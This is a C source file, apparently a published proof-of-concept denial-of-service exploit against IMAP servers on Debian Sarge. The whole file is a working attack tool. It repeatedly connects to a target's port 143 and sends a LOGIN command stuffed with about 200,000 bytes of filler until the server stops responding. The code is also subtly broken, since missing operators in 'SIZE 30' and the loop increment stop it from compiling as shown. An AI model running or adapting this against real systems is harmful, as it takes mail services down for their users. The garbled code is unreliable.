#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define COUNT 100
#define SIZE 100000
char imaplogin[] = "A0001 LOGIN";
int main(int argc, char *argv[])
{
char buffer[SIZE], imapped[SIZE 30];
int i, port = 143;
memset(buffer, 0x41, sizeof(buffer));
memset(imapped, 0, sizeof(imapped));
snprintf(imapped, sizeof(imapped)-1, "%s %s %s\r\n\r\n", imaplogin, buffer, buffer);

if(argc < 2)
{
printf("\nDebian Sarge Multiple IMAP Server DoS");
printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n");
printf("\nUsage %s <host>\n\n", argv[0]);
return 0;
}
printf("\nDebian Sarge Multiple IMAP Server DoS");
printf("\nJeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]\n");
int sock;
struct sockaddr_in remote;
remote.sin_family = AF_INET;
remote.sin_port = htons(port);
remote.sin_addr.s_addr = inet_addr(argv[1]);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }
if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("Error: connect(%s:%d)\n", argv[1], port); return -1; }
close(sock);
printf("\nUsually takes ~1-2 minutes, LAN/Internet and connection speed will make time vary...\n");
for(i = 0; i <= COUNT; i )
{
struct sockaddr_in remote;
remote.sin_family = AF_INET;
remote.sin_port = htons(port);
remote.sin_addr.s_addr = inet_addr(argv[1]);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }
sleep(1);
if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("\n%d tries and imapd goes down! Mission Complete!\n\n", i); return -1; }
int len = sizeof(imapped);
send(sock, imapped, len, 0);
close(sock);
}
return 0;
}